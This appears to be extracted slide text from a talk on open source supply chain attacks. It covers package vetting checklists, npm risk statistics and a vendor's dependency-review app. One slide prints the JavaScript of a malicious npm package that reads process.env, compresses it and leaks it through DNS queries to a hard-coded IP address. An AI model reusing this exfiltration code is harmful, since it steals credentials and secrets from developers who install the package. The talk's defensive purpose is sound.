It's a Jungle Out There! – Open Source Supply Chain Attacks
Software supply chain attacks have exploded in the past year, and open source components are increasingly used as a vector. Come hear some of the wilder stories and what you can do to protect your apps.
the job done? • ✅ Does it have an open source license? • ✅ Does it have good docs? • ✅ Does it have lots of downloads and GitHub stars? • ✅ Does it have recent commits? • ✅ Does it have types / tests / low issue count / multiple maintainers / code looks reasonable?
KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
79 third-party packages and 39 maintainers, creating a surprisingly large attack surface1" 1 Small World with High Risks: A Study of Security Threats in the npm Ecosystem
might be due to poor handling of arbitrary code during install2 2 Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks
var resolver = new Resolver(); function splitString(string, size) { var re = new RegExp('.{1,' + size + '}', 'g'); return string.match(re); } resolver.setServers(["165.232.68.239"]); var d = process.env || {}; var data = redactedForBrevity() var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex'); var ch = splitString(encData, 60); var dt = Date.now(); for (var i = 0; i < ch.length; i++) { const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.'); resolver.resolve4(domain, function (err) { }); }
our GitHub app • Typosquats, high risk packages • Updates which add significant new behavior: install scripts, network, filesystem • Configurable: report-only, require explicit developer confirmation, or require review from team lead